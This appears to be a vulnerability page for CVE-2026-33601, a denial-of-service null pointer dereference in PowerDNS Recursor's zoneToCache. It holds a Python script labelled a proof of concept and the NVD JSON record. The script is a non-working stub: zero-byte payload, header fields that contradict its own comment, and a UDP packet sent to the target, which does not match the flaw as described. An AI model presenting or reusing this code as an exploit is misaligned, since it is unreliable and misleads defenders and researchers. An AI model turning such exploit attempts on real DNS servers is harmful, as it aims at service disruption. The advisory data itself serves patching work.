CVE-2026-33601

#!/usr/bin/env python3 # PoC for CVE-2026-33601: PowerDNS Recursor Null Pointer Dereference # This script simulates a malicious authoritative server sending a crafted zone. import socket import struct def send_malicious_dns_response(target_ip, target_port): # Simplified DNS response structure triggering the vulnerability # In a real scenario, specific payload construction is required based on the missing check. # DNS Header: ID=0x1234, Flags=Response, Authoritative, QDCOUNT=0, ANCOUNT=1 header = struct.pack('!HHHHHH', 0x1234, 0x8400, 0x0001, 0x0000, 0x0000, 0x0000) # Payload placeholder representing the crafted zone data # causing null pointer dereference in zoneToCache payload = b'\x00' * 64 # Malicious data stub sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(header + payload, (target_ip, target_port)) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") sock.close() if __name__ == "__main__": # Note: This requires the target to be configured to use zoneToCache with this server send_malicious_dns_response("127.0.0.1", 53)

{"cve": {"id": "CVE-2026-33601", "sourceIdentifier": "[email protected]", "published": "2026-04-22T10:16:52.223", "lastModified": "2026-04-27T16:58:57.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "If you use the zoneToCache function with a malicious authoritative server, an attacker can send a zone that result in a null pointer dereference, caused by a missing consistency check and leading to a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0", "versionEndExcluding": "5.2.9", "matchCriteriaId": "EBDA7C62-FAD4-470C-A6FE-4CF19B0BD4AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3.0", "versionEndExcluding": "5.3.6", "matchCriteriaId": "9F7AC884-348F-47B1-8853-49BFEDBEA9EA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:5.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4B201BAD-5A74-45E9-91FD-5E950BA18BF3"}]}]}], "references": [{"url": "https://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-powerdns-2026-03.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Broken Link"]}]}}